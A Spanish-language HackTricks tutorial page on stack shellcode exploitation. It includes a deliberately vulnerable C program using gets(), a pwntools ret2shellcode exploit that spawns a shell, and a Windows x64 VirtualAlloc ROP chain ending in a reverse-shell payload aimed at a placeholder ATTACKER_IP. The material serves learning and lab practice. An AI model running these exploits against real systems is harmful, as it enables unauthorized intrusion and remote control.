Stack Shellcode
Reading time: 8 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Stack shellcode es una técnica usada en binary exploitation donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el Instruction Pointer (IP) o el Extended Instruction Pointer (EIP) para apuntar a la ubicación de ese shellcode, provocando su ejecución. Es un método clásico usado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con pwntools.
Ejemplo en C: un programa vulnerable
Comencemos con un ejemplo simple de un programa en C vulnerable:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Este programa es vulnerable a un buffer overflow debido al uso de la función gets()
.
Compilación
Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puede usar el siguiente comando:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Desactiva la protección de la pila.-z execstack
: Hace la pila ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.-no-pie
: Desactiva Position Independent Executable (PIE), facilitando predecir la dirección de memoria donde se ubicará nuestro shellcode.-m32
: Compila el programa como ejecutable de 32 bits, frecuentemente usado por simplicidad en el desarrollo de exploits.
Exploit en Python usando Pwntools
Aquí tienes cómo podrías escribir un exploit en Python usando pwntools para realizar un ataque ret2shellcode:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Este script construye un payload consistente en una NOP slide, el shellcode, y luego sobrescribe la EIP con la dirección que apunta a la NOP slide, asegurando que el shellcode se ejecute.
El NOP slide (asm('nop')
) se usa para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento p32()
a la dirección de inicio de tu buffer más un offset para caer en la NOP slide.
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
En Windows modernos el stack no es ejecutable (DEP/NX). Una forma común de seguir ejecutando shellcode residente en el stack después de un stack BOF es construir una cadena ROP de 64 bits que llame a VirtualAlloc (o VirtualProtect) desde el módulo Import Address Table (IAT) para convertir una región del stack en ejecutable y luego retornar hacia el shellcode situado inmediatamente después de la cadena.
Puntos clave (convención de llamadas Win64):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → elige una dirección en el stack actual (p. ej., RSP) de modo que la región RWX recién asignada se solape con tu payload
- RDX = dwSize → lo suficientemente grande para tu chain + shellcode (p. ej., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Estrategia mínima:
- Leak la base de un módulo (p. ej., vía format-string, object pointer, etc.) para calcular las direcciones absolutas de gadgets e IAT bajo ASLR.
- Encuentra gadgets para cargar RCX/RDX/R8/R9 (secuencias basadas en pop o mov/xor) y un call/jmp [VirtualAlloc@IAT]. Si no cuentas con pop r8/r9 directos, usa gadgets aritméticos para sintetizar constantes (p. ej., poner r8=0 y sumar repetidamente r9=0x40 cuarenta veces para llegar a 0x1000).
- Coloca el stage-2 shellcode inmediatamente después de la cadena.
Example layout (conceptual):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
Con un conjunto de gadgets limitado, puedes construir valores de registros de forma indirecta, por ejemplo:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → establecer r9 desde rbx, poner a cero r8 y compensar la pila con un qword basura.
- xor rbx, rsp; ret → inicializar rbx con el puntero de pila actual.
- push rbx; pop rax; mov rcx, rax; ret → mover el valor derivado de RSP a RCX.
Esbozo de Pwntools (dada una base conocida y gadgets):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
Consejos:
-
VirtualProtect funciona de forma similar si es preferible convertir un buffer existente a RX; el orden de parámetros es diferente.
-
Si el espacio en la stack es limitado, asigna RWX en otra parte (RCX=NULL) y jmp a esa nueva región en lugar de reutilizar la stack.
-
Ten en cuenta siempre los gadgets que ajustan RSP (p. ej., add rsp, 8; ret) insertando qwords basura.
-
ASLR debería estar deshabilitado para que la dirección sea fiable entre ejecuciones o la dirección donde se almacenará la función no será siempre la misma y necesitarías algún leak para averiguar dónde se carga la función win.
-
Stack Canaries también deberían estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
-
NX stack protection impediría la ejecución del shellcode dentro de la stack porque esa región no sería ejecutable.
Otros Ejemplos y Referencias
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR con leak de dirección de la stack, escribir shellcode y saltar a él
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR con leak de la stack, escribir shellcode y saltar a él
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR con leak de la stack, comparación para prevenir llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, sin ASLR, gadget ROP para hacer la stack ejecutable y saltar al shellcode en la stack
Referencias
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.